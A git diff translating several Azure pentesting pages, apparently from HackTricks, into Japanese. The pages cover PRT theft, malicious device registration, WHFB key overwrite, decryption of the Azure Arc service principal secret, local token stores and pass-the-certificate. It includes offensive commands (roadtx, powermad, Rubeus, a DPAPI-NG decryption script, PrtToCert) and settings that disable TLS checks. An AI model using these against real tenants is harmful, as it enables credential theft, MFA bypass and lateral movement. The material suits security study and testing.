+次に、**オブジェクト**が**AzureAD**（Intuneではなく）に生成され、AzureADはデバイスに署名された**証明書**を返します。**デバイスがAzureADに参加している**ことや**証明書**に関する情報（TPMで保護されているかどうかなど）を確認できます。
 ```bash
 dsregcmd /status
 ```
+デバイス登録後、**プライマリリフレッシュトークン**がLSASS CloudAPモジュールによって要求され、デバイスに渡されます。PRTには、**デバイスのみが復号化できるように暗号化されたセッションキー**（トランスポートキーの公開鍵を使用）も提供され、**PRTを使用するために必要です。**
 
-After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
-
-For more information about what is a PRT check:
+PRTについての詳細は以下を確認してください：
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}
 
-### TPM - Trusted Platform Module
+### TPM - トラステッドプラットフォームモジュール
 
-The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
-But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
+**TPM**は、電源がオフのデバイスからのキー**抽出**（PINで保護されている場合）や、OS層からのプライベートマテリアルの抽出に対して**保護**します。\
+しかし、**TPMとCPUの間の物理接続をスニッフィングすること**や、システムが実行中のプロセスが**SYSTEM**権限を持っている場合にTPM内の**暗号材料を使用すること**に対しては**保護**されていません。
 
-If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
+以下のページを確認すると、**PRTを盗むこと**が**ユーザー**としてアクセスするために使用できることがわかります。これは素晴らしいことで、**PRTはデバイスに存在する**ため、それらから盗まれる可能性があります（または盗まれなくても新しい署名キーを生成するために悪用される可能性があります）：
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/pass-the-prt.md
 {{#endref}}
 
-## Registering a device with SSO tokens
-
-It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
+## SSOトークンを使用したデバイスの登録
 
+攻撃者が侵害されたデバイスからMicrosoftデバイス登録サービスのトークンを要求し、登録することが可能です：
 ```bash
 # Initialize SSO flow
 roadrecon auth prt-init
@@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie 
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-
-Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
+どのようにして**将来PRTを要求するために使用できる証明書を取得するか**。したがって、持続性を維持し、**MFAをバイパスする**ことができます。なぜなら、新しいデバイスを登録するために使用された元のPRTトークンは**すでにMFA権限が付与されていた**からです。
 
 > [!TIP]
-> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
+> この攻撃を実行するには、**新しいデバイスを登録する**権限が必要です。また、デバイスを登録することは、そのデバイスが**Intuneに登録されることが許可される**ことを意味しません。
 
 > [!CAUTION]
-> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
+> この攻撃は2021年9月に修正され、もはやSSOトークンを使用して新しいデバイスを登録することはできません。しかし、正当な方法でデバイスを登録することはまだ可能です（必要に応じてユーザー名、パスワード、MFAを持っていること）。確認してください: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)。
 
-## Overwriting a device ticket
+## デバイスタイプの上書き
 
-It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
+**デバイスタイプを要求する**ことが可能で、デバイスの現在のものを**上書き**し、フロー中に**PRTを盗む**ことができました（TPMから盗む必要はありません）。詳細については[**このトークを確認してください**](https://youtu.be/BduCn8cLV1A)。
 
 

 
 > [!CAUTION]
-> However, this was fixed.
+> ただし、これは修正されました。
 
-## Overwrite WHFB key
+## WHFBキーの上書き
 
-[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
+[**元のスライドをこちらで確認してください**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
 
-Attack summary:
+攻撃の概要:
 
-- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
-- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
-- This also provides **persistence**
+- **SSOを介して**デバイスの**登録されたWHFB**キーを**上書き**することが可能です
+- 新しいキーの生成中に**キーがスニッフィングされるため**TPM保護を**打破します**
+- これにより**持続性**も提供されます
 
 

 
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
-
-Then, it's possible to generate a new key with:
+ユーザーはAzure AD Graphを介して自分のsearchableDeviceKeyプロパティを変更できますが、攻撃者はテナント内にデバイスを持っている必要があります（その場で登録されたか、正当なデバイスから証明書とキーを盗んだ場合）およびAAD Graphの有効なアクセストークンが必要です。
 
+次に、次のように新しいキーを生成することが可能です:
 ```bash
 roadtx genhellokey -d  -k tempkey.key
 ```
-
-and then PATCH the information of the searchableDeviceKey:
+そして、searchableDeviceKeyの情報をPATCHします：
 
 

 
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
+**デバイスコードフィッシング**を通じてユーザーからアクセストークンを取得し、前のステップを悪用して**彼のアクセスを盗む**ことが可能です。詳細については、以下を確認してください：
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
 
 

 
-## References
+## 参考文献
 
 - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
 - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
 - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 6a0dce1da..92ffc7845 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -2,10 +2,10 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Install PowerShell in Linux
+## LinuxにPowerShellをインストールする
 
 > [!TIP]
-> In linux you will need to install PowerShell Core:
+> LinuxではPowerShell Coreをインストールする必要があります：
 >
 > ```bash
 > sudo apt-get update
@@ -14,11 +14,11 @@
 > # Ubuntu 20.04
 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
 >
-> # Update repos
+> # リポジトリを更新
 > sudo apt-get update
 > sudo add-apt-repository universe
 >
-> # Install & start powershell
+> # PowerShellをインストールして起動
 > sudo apt-get install -y powershell
 > pwsh
 >
@@ -26,58 +26,47 @@
 > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
 > ```
 
-## Install PowerShell in MacOS
+## MacOSにPowerShellをインストールする
 
-Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
-
-1. Install `brew` if not installed yet:
+[**ドキュメント**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4)からの指示：
 
+1. まだインストールしていない場合は`brew`をインストールします：
 ```bash
 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
 ```
-
-2. Install the latest stable release of PowerShell:
-
+2. 最新の安定版PowerShellをインストールします:
 ```sh
 brew install powershell/tap/powershell
 ```
-
-3. Run PowerShell:
-
+3. PowerShellを実行する:
 ```sh
 pwsh
 ```
-
-4. Update:
-
+4. 更新:
 ```sh
 brew update
 brew upgrade powershell
 ```
-
-## Main Enumeration Tools
+## 主な列挙ツール
 
 ### az cli
 
-[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts.
+[**Azure コマンドラインインターフェース (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) は、Azure および Entra ID リソースの管理と運用のために Python で書かれたクロスプラットフォームツールです。Azure に接続し、コマンドラインまたはスクリプトを介して管理コマンドを実行します。
 
-Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
+[**インストール手順はこちら！**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) をご覧ください。
 
-Commands in Azure CLI are structured using a pattern of: `az   `
+Azure CLI のコマンドは、次のパターンで構成されています: `az   `
 
-#### Debug | MitM az cli
-
-Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
+#### デバッグ | MitM az cli
 
+パラメータ **`--debug`** を使用すると、ツール **`az`** が送信しているすべてのリクエストを見ることができます:
 ```bash
 az account management-group list --output table --debug
 ```
-
-In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
+MitM攻撃をツールに対して行い、手動で送信される**すべてのリクエスト**を確認するには、次のようにします：
 
 {{#tabs }}
 {{#tab name="Bash" }}
-
 ```bash
 export ADAL_PYTHON_SSL_NO_VERIFY=1
 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080"
 openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
 export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
 ```
-
 {{#endtab }}
 
 {{#tab name="PS" }}
-
 ```bash
 $env:ADAL_PYTHON_SSL_NO_VERIFY=1
 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
 $env:HTTPS_PROXY="http://127.0.0.1:8080"
 $env:HTTP_PROXY="http://127.0.0.1:8080"
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### Az PowerShell
 
-Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line.
+Azure PowerShellは、PowerShellコマンドラインから直接Azureリソースを管理するためのcmdletを含むモジュールです。
 
-Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
+[**インストール手順**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)のリンクを参照してください。
 
-Commands in Azure PowerShell AZ Module are structured like: `-Az `
+Azure PowerShell AZモジュールのコマンドは、次のように構成されています：`-Az `
 
 #### Debug | MitM Az PowerShell
 
-Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
-
+パラメータ**`-Debug`**を使用すると、ツールが送信しているすべてのリクエストを見ることができます：
 ```bash
 Get-AzResourceGroup -Debug
 ```
-
-In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
+MitMをツールに対して行い、手動で送信している**すべてのリクエスト**を確認するには、[**ドキュメント**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy)に従って環境変数`HTTPS_PROXY`と`HTTP_PROXY`を設定できます。
 
 ### Microsoft Graph PowerShell
 
-Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features.
+Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、および高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。
 
-Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
+[**インストール手順**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation)については、このリンクを参照してください。
 
-Commands in Microsoft Graph PowerShell are structured like: `-Mg `
+Microsoft Graph PowerShellのコマンドは、次のように構成されています：`-Mg `
 
-#### Debug Microsoft Graph PowerShell
-
-Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
+#### Microsoft Graph PowerShellのデバッグ
 
+パラメータ**`-Debug`**を使用すると、ツールが送信しているすべてのリクエストを見ることができます：
 ```bash
 Get-MgUser -Debug
 ```
-
 ### ~~**AzureAD Powershell**~~
 
-The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
+Azure Active Directory (AD) モジュールは、現在 **非推奨** であり、Azure AD リソースを管理するための Azure PowerShell の一部です。ユーザー、グループ、および Entra ID でのアプリケーション登録を管理するための cmdlet を提供します。
 
 > [!TIP]
-> This is replaced by Microsoft Graph PowerShell
-
-Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
-
-
-
+> これは Microsoft Graph PowerShell に置き換えられました
 
+[**インストール手順**](https://www.powershellgallery.com/packages/AzureAD) のリンクを参照してください。
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index e53ceb412..1c4feaff3 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -2,19 +2,18 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Identifying the Issues
+### 課題の特定
 
-Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.
+Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー（ドメイン参加サーバー）をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています：DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。
 
-When executed, the DeployGPO.ps1 script performs the following actions:
+DeployGPO.ps1スクリプトを実行すると、以下のアクションが実行されます：
 
-1. Creates the Azure Arc Servers Onboarding GPO within the local domain.
-2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.
+1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。
+2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。
 
-When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.
-
-An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
+このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります：**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など、さらなる詳細も必要です。
 
+暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内でDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことで行われます。descriptorは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
 ```powershell
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
 Import-Module $PSScriptRoot\AzureArcDeployment.psm1
 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
 ```
-
 ### Exploit
 
-We have the follow conditions:
+次の条件があります：
 
-1. We have successfully penetrated the internal network.
-2. We have the capability to create or assume control of a computer account within Active Directory.
-3. We have discovered a network share containing the AzureArcDeploy directory.
-
-There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
+1. 内部ネットワークに成功裏に侵入しました。
+2. Active Directory内でコンピュータアカウントを作成または制御する能力があります。
+3. AzureArcDeployディレクトリを含むネットワーク共有を発見しました。
 
+AD環境内でマシンアカウントを取得する方法はいくつかあります。最も一般的な方法の1つは、マシンアカウントのクォータを悪用することです。別の方法は、脆弱なACLやさまざまな他の誤設定を通じてマシンアカウントを侵害することです。
 ```powershell
 Import-MKodule powermad
 New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
 ```
-
-Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
-
+マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してパス・ザ・チケットを利用することができます。
 ```powershell
 runas /user:fake01$ /netonly powershell
 ```
@@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell
 ```powershell
 .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
 ```
-
-By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
-
+メモリにコンピュータアカウントのTGTを保存することで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
 ```powershell
 Import-Module .\AzureArcDeployment.psm1
 
@@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer
 $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
 $ebs
 ```
+代わりに、[SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG)を使用できます。
 
-Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
+この時点で、暗号化されたServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから、Azureに接続するために必要な残りの情報を収集できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービスプリンシパルとして認証できます。
 
-At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.
-
-## References
+## 参考文献
 
 - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
index 2ddcbb0a5..ae153af95 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
@@ -2,42 +2,36 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Local Token Storage and Security Considerations
+## ローカルトークンストレージとセキュリティ考慮事項
 
-### Azure CLI (Command-Line Interface)
+### Azure CLI (コマンドラインインターフェース)
 
-Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
+トークンと機密データはAzure CLIによってローカルに保存されており、セキュリティ上の懸念があります：
 
-1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`.
-2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
-3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
-   - Executed commands with credentials embedded.
-   - URLs accessed using tokens, potentially revealing sensitive information.
+1. **アクセストークン**: `C:\Users\\.Azure`にある`accessTokens.json`にプレーンテキストで保存されています。
+2. **サブスクリプション情報**: 同じディレクトリにある`azureProfile.json`にはサブスクリプションの詳細が含まれています。
+3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、埋め込まれた資格情報を含む実行されたコマンドや、トークンを使用してアクセスされたURLなど、露出した資格情報を含むログが含まれている可能性があります。
 
 ### Azure PowerShell
 
-Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
+Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセス可能です：
 
-1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext.
-2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
-3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
+1. **アクセストークン**: `C:\Users\\.Azure`にある`TokenCache.dat`にプレーンテキストで保存されています。
+2. **サービスプリンシパルシークレット**: これらは`AzureRmContext.json`に暗号化されずに保存されています。
+3. **トークン保存機能**: ユーザーは`Save-AzContext`コマンドを使用してトークンを永続化することができますが、不正アクセスを防ぐために注意して使用する必要があります。
 
-## Automatic Tools to find them
+## 自動ツールでの発見
 
 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
 - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
 
-## Security Recommendations
+## セキュリティ推奨事項
 
-Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
+機密データがプレーンテキストで保存されていることを考慮し、これらのファイルとディレクトリを保護することが重要です：
 
-- Limiting access rights to these files.
-- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
-- Employing encryption for sensitive files where possible.
-- Educating users about the risks and best practices for handling such sensitive information.
+- これらのファイルへのアクセス権を制限する。
+- 不正アクセスや予期しない変更のために、これらのディレクトリを定期的に監視および監査する。
+- 可能な限り機密ファイルに対して暗号化を使用する。
+- ユーザーに対して、こうした機密情報の取り扱いに関するリスクとベストプラクティスについて教育する。
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
index f2a5f2f4d..c2262b6bc 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -4,40 +4,32 @@
 
 ## Pass the Certificate (Azure)
 
-In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
+Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Azure AD CA**によって発行された証明書を使用して、一方のマシンから他方のマシンに認証することが可能です（対象として必要なユーザー）。
 
-In super simplified terms:
+超簡略化すると：
 
-- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
-- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
-- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
+- 接続を開始するマシン（クライアント）は、**ユーザーのためにAzure ADから証明書が必要**です。
+- クライアントは、PRTやその他の詳細を含むJSON Web Token（JWT）ヘッダーを作成し、派生キー（セッションキーとセキュリティコンテキストを使用）で署名し、**Azure ADに送信**します。
+- Azure ADは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答**します。
 
-In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
+このシナリオでは、[**Pass the PRT**](pass-the-prt.md)攻撃に必要なすべての情報を取得した後：
 
-- Username
-- Tenant ID
+- ユーザー名
+- テナントID
 - PRT
-- Security context
-- Derived Key
-
-It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
+- セキュリティコンテキスト
+- 派生キー
 
+ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書**を**要求**することが可能です。
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-
-The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
-
+証明書はPRTと同じ期間有効です。証明書を使用するには、リモートマシンに**認証**し、**PSEXEC**を実行し、被害者のマシンで**CMD**を開くpythonツール[**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)を使用できます。これにより、別のユーザーのPRTを取得するために再度Mimikatzを使用することができます。
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```
+## 参考文献
 
-## References
-
-- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
+- Pass the Certificate の仕組みについての詳細は、元の投稿を参照してください [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
index f6695c40a..9a859291a 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -2,40 +2,34 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Why Cookies?
+## なぜクッキーなのか？
 
-Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
+ブラウザの**クッキー**は、**認証とMFAをバイパスする**ための優れたメカニズムです。ユーザーがすでにアプリケーションに認証されているため、セッション**クッキー**を使用して、そのユーザーとして**データにアクセス**することができ、再認証は必要ありません。
 
-You can see where are **browser cookies located** in:
+**ブラウザのクッキーの場所**は次のリンクで確認できます：
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
 {{#endref}}
 
-## Attack
+## 攻撃
 
-The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
+難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API（**DPAPI**）を介して行われます。これは、クッキーが属するユーザーに結びついた暗号化された[キー](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords)を使用して暗号化されています。これに関する詳細情報は次のリンクで確認できます：
 
 {{#ref}}
 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
 {{#endref}}
 
